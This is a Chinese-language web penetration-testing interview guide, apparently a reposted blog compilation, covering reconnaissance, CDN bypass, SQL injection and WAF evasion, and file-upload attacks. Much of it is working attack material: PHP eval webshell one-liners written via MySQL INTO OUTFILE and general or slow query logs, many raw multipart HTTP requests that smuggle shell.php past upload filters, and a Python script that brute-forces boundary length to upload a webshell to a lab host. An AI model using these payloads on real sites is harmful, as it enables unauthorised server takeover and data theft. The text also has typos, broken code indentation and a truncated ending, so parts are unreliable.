网络安全面试题目及详解
Posted wanan0red
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全面试题目及详解相关的知识,希望对你有一定的参考价值。
获取目标站点的绝对路径
- 如果是iis系统,尝试对参数进行恶意传值,使其出现报错页面
- 对目标网站进行js代码审计,查看是否存在信息泄露出站点的绝对路径
- 使用字典猜解目标站点的绝对路径
- 如果目标是thinkphp框架,尝试访问无效的路径,或者对参数进行而已传值使其报错
- phpinfo页面泄露站点的绝对路径
怎样进行信息收集
- 获取目标的真实ip,如果有cdn就绕一下
- 通过真实去进行半开放的端口扫描,获取目标服务
- 通过审计js代码 + jsfinder工具查看是否存在接口泄露可以使我们进一步的利用
- 对站点进行指纹识别,查看cms历史漏洞
- 通过乌云查找目标的历史漏洞,查看脆弱点
- 通过google黑语法搜索目标站点的敏感关键词 如 登录 后台 学号 上传
- 通过目录扫描工具扫描目标站点文件,查看是否存在未授权访问文件或者更多的功能点
- 通过潮汐 在线子域名 layer子域名挖掘机进行子域名收集
- 通过nmap goby对c端进行信息收集
绕cdn
- 通过境外ip去平目标系统
- 主动向我方的请求,如发邮件
- 获取多个子域名ip对比
- 查看dns记录
- 通过网络搜索引擎去搜索
只有一个登录页面如何去测
测试逻辑漏洞点
- 密码找回凡是 发送邮件 手机号是否可用拦截
- 登录时是否为前段验证,通过修改http回显包是否可用绕过个
- 注册功能是否可用覆盖注册admin,注册页面是否存在二阶注入
- 验证码是否可以绕过
- 用户名是否可以进行暴力破解
sql注入漏洞
- 登录页面是否存在注入漏洞
- 注册是否存在
- 密码找回处是否存在
js代码是否存在js接口泄露
- 有些功能点屏蔽掉,但是js代码可以看到,通过控制台可以触发
- 通过jsfinder查看是否存在可用接口
- 通过源码查看是否存在接口泄露
目录扫描
- 探测是否存在未授权访问
- 探测二级目录 三级目录
查看漏洞库是否存在历史漏洞
提取页面关键词去黑暗引擎搜索
网站有验证码,能想到哪些功能点来利用(挖漏洞)?
通用设计缺陷
验证码无效
有验证码模块,但是验证模块与业务功能没有关联性,此为无效验证,无论输入什么都正确
验证码由客户端生成 验证
验证码由客户端js生成并且仅仅在客户端用js验证,通过抓包查看是否有验证码字段或者是关闭js看能否通过验证.
验证码有回显
验证码在html或者cookie中显示,或者输出到response headers的其他字段,可被直接查看
验证码固定
也叫验证码重复使用,是指验证码没有设置使用期限,在验证码首次认证成功后没有删除在session中的验证码,使得验证码可以被多次成功验证,从而造成危害.
验证码可以爆破
服务端未对验证时间 次数做出限制,存在爆破的可能性,简单的系统存在可以直接爆破的可能性,但是做过一些防护的系统还得进行一些绕过才能进行爆破
验证码可猜解
验证码比较简单,可以通过推测猜到有哪些验证吗
可绕过
图片验证吗
burpsuite插件推荐:
xp_captcha:https://github.com/smxiazi/NEW_xp_CAPTCHA
captcha-kiler:https://github.com/c0ny1/captcha-killer/tags
reCAPTCHA:https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0
短信验证码
短信轰炸
没有对发送短信验证码的发送时间 用户 ip做出限制
任意用户注册
任意用户密码重置
https://blog.csdn.net/m0_47418965/article/details/121613640
https://www.freebuf.com/vuls/253833.html
IIS搭建的网站如何找漏洞?
https://blog.csdn.net/ab_bcd/article/details/121157779
load data local读入表条件
load data infile
查看一下local_infile条件
show global variables like 'local_infile';
更改可写,这里要注意,在每一次连接数据库之后都需要重新设置这个值.
set global local_infile = 1;
show global variables like 'local_infile';
尝试不用local写入文件
create table server (text varchar(160) );
load data infile 'C:\\\\Users\\\\14980\\\\Desktop\\\\load.txt' into table server fields terminated by '\\n';
这是因为在mysql安装的时候限制了导入与导出目录权限,只允许在归定的目录下才能导入
SHOW VARIABLES LIKE "secure_file_priv";
- null 表示禁止
- 如果value值有文件夹目录,则表示只允许改目录下文件
- 如果为空则,表表示不限制目录
删除
SHOW VARIABLES LIKE "secure_file_priv";
show global variables like 'local_infile';
set global local_infile = 1;
create TABLE local ( text VARCHAR(160));
load data local infile 'D:\\\\download\\\\load.txt' into table local fields terminated by '\\n' ;
sql注入ban了sleep怎么实现时间盲注
sleep()
benchmark()重复执行某表达式
benchmark(t,exp);
select benchmark(count,expr)
//是重复执行count次expr表达式,使处理时间很长,来产生延迟
SELECT benchmark (100000000,md5("hello"));
笛卡尔积
笛卡尔积(因为连接表是一个分耗时的过程) A*B=(A和B中的每一个元素的组合所组成的集合,就是连接表)
select count(*) from information_schema.columns A,information_schema.`COLUMNS` B,information_schema.TABLEs C;
select * from user A, user B,user C,user D,user E,user F,user G,user H;
get_lock 加锁
get_lock(key,timeout); 需要两个连接会话
release_lock(key); 锁是否释放,释放了返回1
is_free_lock(key); 返回当前连接id,表示名称为"xxx"的锁正在被使用
- key 锁的名称
- timeout 加锁等待时间,时间内未加锁成功则事件回滚
- get_lock 加锁成功返回1
我们新建两个查询
先运行这个test 1,在运行这个test 5.
接着这个控制台,我们改成几就是查询几了.但是这个办法有限制,需要与mysql之间的连接是长连接.原因就是一旦关闭这个初次加锁的控制台,锁就自动断开了.
在php中
mysql_connect() 脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到mysql服务器的持久连接
rlike regexp 正则匹配
不会用,也不太好用https://www.cdxy.me/?p=789
https://www.cnblogs.com/forforever/p/13019703.html
sqlmap的os shell原理
执行原理
对于mysql数据库来说,–os-shell的本质就是写入两个shell文件,其中的一个可以让我们用来执行命令,另外一个,如果在网站访问的话可以让我们上传文件.
写shell的话有两个限制条件,首先,我们需要知道上传文件的两个限制条件,首先我们需要知道网站的绝对路径(我们的shell写到哪里),还需要有导入导出权限.
导入导出的权限在mysql数据库中是有secure_file_priv参数来控制的,当这个参数的后面为null的时候,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,secure_file_priv参数的默认值为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没有办法在5.7以上使用–os-shell
- 已知目标站点的绝对路径
- 已知目标站点的脚本语言
- 当前数据库权限必须是dba sa权限
- 网站不查杀木马文件
https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.freebuf.com/articles/web/278879.html
https://plumstar.cn/2022/04/28/sqlmap-os-shell/
SQL注入绕waf的方式
白盒
根据waf的固定规则去寻找有没有漏网之鱼.
黑盒
架构层绕waf
- 用户本身是进入waf后访问web页面的,只要我们找到web的真实ip,就可以绕过waf
- 在同网段内,页面与页面之间,服务器与服务器之间,通过waf的防护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
- 边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行sql注入.
资源限制角度绕过waf
有的时候,由于数据太大,会导致waf无法将所有的数据都检测完成,这个时候会忽略掉我们带入的sql注入语句,从而绕过,使用post请求,对服务器请求很大资源逃逸sql注入语句
协议层面绕过waf
-
基于协议层,有的waf只过滤get请求,而对post请求没有做别的限制,因此,可以将get类型转换成post请求
-
文件格式,页面只对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们可以将Content-Tyoe格式修改为multipart/form-data,即可绕过
-
参数污染 有的waf仅对部分内容进行过滤如
index.php?id=1&id=2
这样的参数id=1,waf也许仅对前面的 id进行检测,而后面的参数并不做处理
规则层面绕过
-
首先使用比较特殊的方法进行绕过
如果存在注入点,测试waf到底拦截了哪一部分数据,如果是空格,可以尝试
/*%!%2f*/
,如果是对sql函数进行了过滤,可以尝试 sleep/*%!%2f*/
-
常见规则
3.缓冲区溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油0xA*1000 指的是0XA后面的 "A" 重复1000次一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度这里1000仅供参考,在一些情况下也可以更短
4.mysql特性绕过
1.= 等于
:= 赋值
@ @+变量名可直接调用
select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL
5.黑魔法
selectx userfromx mysql.user;
6.内联注释
例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN关键字,而其他服务器则不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。例如,以下注释中的关键字KEY_BLOCK_SIZE仅由MySQL 5.1.10或者更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */类型的注释,内部语句会被执行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用来绕过一些WAF,或者是绕过空格
但是,不能将关键词用注释分开,例如下面的语句是不可执行的(或者说只能在某些较老版本执行)
select bbb from table1 where balabala='' union se/*!lect database()*/;
https://www.freebuf.com/vuls/229300.html
SQL注入过滤逗号如何处理
https://www.jianshu.com/p/d10785d22db2
报错注入函数
12种报错注入+万能语句_董呆呆的博客-CSDN博客_报错注入语句
phpmyadmin如何拿shell?
数据库文件导入导出
条件
- 数据库root权限
- 数据库字段secure_file_priv没有具体的值
- 获取网站的绝对路径
先查看有没有写文件的权限
show global variables like "%secure_file_priv%"
select "<?php @eval(@_POST[zf]);?>" into outfile "D:/Download/zf.php";
数据库全局日志写入
条件
- 数据库root权限
- 获取网站的绝对路径
查看是否开启了全局日志以及全局日志的存放位置
SHOW VARIABLES LIKE '%general%'
修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件
set global general_log=on;
set global general_log_file="C:\\\\phpStudy\\\\WWW\\\\test.php";
设置开启日志以及日志存储位置,这里日志存储位置为站点的根目录,执行命令写入日志文件
SELECT "<?php @eval($_POST['cmd']); ?>"
数据库慢查询日志写入
慢日志查询 记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询,默认情况下慢查询日志为关闭,long_query_time值为10秒
条件
- 数据库root权限
- 获取网站的绝对路径
查询相关配置
show variables like '%slow%'
打开
set global slow_query_log=on;
写入
select '<?php @eval($_POST[shell]);?>' or sleep(10);
CVE
https://chowdera.com/2022/01/202201020402437761.html
文件上传漏洞原理,绕waf
http上传数据包
POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sec/upload-labs/Pass-01/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pass=01
Connection: close
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--
这是一个完整的上传文件的数据包.这里在前段页面需要指定 Content-Type: multipart/form-data; 才能正常上传文件.
POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--
- multipart/form-data : 表示该请求时一个上传文件请求
- 存在boundary字符串 : 作用为分隔符,以区分post数据
- Content-Disposition : 响应标头是指示内容是否预期在浏览器中内联显示的标题
- name : 包含改字段的内容引用的html字段的名称
- filename : 后面一个是一个包含传输文件的原始名称的字符串
- boundary的值就是Content-Type的值在最前面加了两个–,除了最后表示结束的boundary,在最后结束的boundary最后默认会多出两个–(当最后一行的boundary删掉也能上传成功)
文件上传在数据包中可以修改的地方
- Content-Disposition 一般可以更改 name 表单参数值.
- 不能更改filename :文件名
- 可以更改Content-Type:文件MIME
- 视情况更改boundary:内容划分,可以更改
waf如何拦截恶意文件
- 文件名:解析文件名,判断是否在黑名单内
- 文件内容:解析文件内容,判断是否为webshell
- 文件目录权限:这个由主机waf实现
- 获取Request Header中Content-Type的boundary值
- 根据boundary值,解析post数据,获取文件名
- 判断文件名是否在拦截黑名单/白名单之外
绕过
字符变异
引号变换
头部字段的值既可以添加单引号也可以添加双引号,还可以不添加引号,都不会影响上传的结果,还可以去除filename字符串中的引号.
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
大小写变换
对关键字符进行大小写转换 Content-Disposition name filename.比如将name转换成NaMe,Content-Disposition转换成content-disposition
添加换行符
字符值与等号之间可以加入换行符,依然可以正常上传,如使用
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
多个分号
文件解析时,可能因为分号解析不到文件名,导致绕过
Content-Disposition: form-data; name="file_x";;; filename="test.php"
多个等号
在post中的内容中使用多个等号对文件上传没有影响
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
变换Content-Disposition的值
在某些waf解析的时候,认为Content-Dispostion的值一定是form-data,造成绕过,其实Content-Dispostion可以任意变换或为空
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
畸形的boundary头部
boundary可以变换为如下形式,且不影响上传
multipart/form-data大小写变换
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
multipart/form-data与boundary之间可以使用空格分割,且中间可以插入任何值
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\\|/?!@#$%^() boundary=----WebKitFormBoundarye111
multipart/form-data与boundary之间可以使用逗号分割,且中间可以插入任何值
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
boundary之前可以直接加入任何值(php可行)
Content-Type: multipart/form-data;bypass&123**|boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**|boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**|boundary=----WebKitFormBoundarye111
boundary末尾可以使用逗号或者分号隔开插入任何值
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
顺序颠倒
交换name和filename的顺序
因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序.有的waf可能会匹配name在前面,filename在后面,可以导致绕过
Content-Disposition: form-data; filename="xx.php"; name="file_x"
交换Content-Disposition和Content-Type的顺序
Content-Disposition和Content-Type也是能够交换顺序的
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
交换不同boundary内容的顺序
不同boundary内容也能够交换,且不影响文件上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
boundary内容重复
最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面这样也是可以正常上传的
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
filename重复
最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
数据溢出
name与filename之间插入垃圾数据
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
boundary字符串中加入垃圾数据
boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
boundray末尾插入垃圾数据
刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
multipart/form-data与boundary之间插入垃圾数据
刚才讲到过multipart/form-data与boundary之间可以插入任何数据,那么就可以在multipart/form-data与boundary之间加入大量垃圾数据
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
数据截断
回车换行截断
POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
分号截断
若WAF匹配文件名到分号截止,则可以绕过
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
引号截断
php<5.3 单双引号截断特性
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers =
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------""" + stri + """
Content-Disposition: form-data; name="submit"
上传
------""" + stri + """--
"""
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\\n"
#print payload
#print headers
if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."
https://cloud.tencent.com/developer/article/1944142
https://zhuanlan.zhihu.com/p/89132768)
为什么会存在文件上传漏洞?
定义
